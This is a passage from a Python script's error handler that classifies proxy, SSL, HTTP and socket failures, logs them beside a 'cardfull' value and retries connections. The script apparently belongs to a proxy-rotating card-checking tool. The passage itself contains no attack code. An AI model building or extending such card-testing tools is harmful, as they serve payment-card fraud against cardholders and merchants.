elif 'tunnel failed' in err_msg: hint = 'HTTP CONNECT tunnel could not be established.'
|
|
else: hint = 'General proxy error.'
|
|
elif isinstance(e, exceptions.InvalidURL):
|
|
hint = 'Invalid URL — malformed or contains illegal characters.'
|
|
elif 'locationparseerror' in error_type.lower():
|
|
hint = 'URL parsing failed — possibly missing scheme or bad format.'
|
|
elif 'failed to parse' in err_msg:
|
|
hint = 'URL could not be parsed — check formatting.'
|
|
elif 'invalid proxy' in err_msg:
|
|
hint = 'Proxy format invalid — please check credentials or host format.'
|
|
elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)):
|
|
if 'certificate verify failed' in err_msg: hint = 'SSL certificate verification failed.'
|
|
elif 'wrong version number' in err_msg: hint = 'SSL version mismatch — proxy/host using invalid TLS.'
|
|
elif 'sslv3 alert handshake failure' in err_msg: hint = 'SSL handshake failure — cipher mismatch.'
|
|
elif 'unknown protocol' in err_msg: hint = 'SSL protocol error — non-HTTPS on HTTPS port?'
|
|
else: hint = 'General SSL/TLS error.'
|
|
elif isinstance(e, exceptions.HTTPError):
|
|
if '401' in err_msg: hint = 'Unauthorized — incorrect credentials.'
|
|
elif '403' in err_msg: hint = 'Forbidden — server blocked access.'
|
|
elif '404' in err_msg: hint = 'Resource not found.'
|
|
elif '429' in err_msg: hint = 'Rate limited — too many requests.'
|
|
elif '500' in err_msg: hint = 'Server error — try again later.'
|
|
elif '502' in err_msg: hint = 'Bad gateway — upstream service error.'
|
|
elif '503' in err_msg: hint = 'Service unavailable — overloaded or down.'
|
|
elif '504' in err_msg: hint = 'Gateway timeout — upstream took too long.'
|
|
else: hint = 'HTTP error occurred.'
|
|
elif isinstance(e, urllib3.exceptions.NewConnectionError):
|
|
hint = 'Failed to create a new connection — DNS blocked or invalid host.'
|
|
elif isinstance(e, urllib3.exceptions.MaxRetryError):
|
|
hint = 'Max retries exceeded — persistent connection failures.'
|
|
elif isinstance(e, socket.gaierror):
|
|
hint = 'DNS lookup failed — host cannot be resolved.'
|
|
elif isinstance(e, socket.error):
|
|
if 'refused' in err_msg: hint = 'Socket refused — server not accepting connections.'
|
|
elif 'reset' in err_msg: hint = 'Socket reset — remote closed abruptly.'
|
|
elif 'timed out' in err_msg: hint = 'Socket timeout.'
|
|
elif 'blocked' in err_msg: hint = 'Port blocked by firewall or ISP.'
|
|
else: hint = 'General low-level socket error.'
|
|
|
|
with print_lock:
|
|
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}-» {Fore.YELLOW}{error_type}: {hint}{Style.RESET_ALL}")
|
|
|
|
sess.close()
|
|
# 如果异常发生,继续下一次重试,直到 max_attempts
|
|
continue
|
|
|
|
# 循环结束
|
|
sess.close()
|
|
return ("Max attempts reached", None) |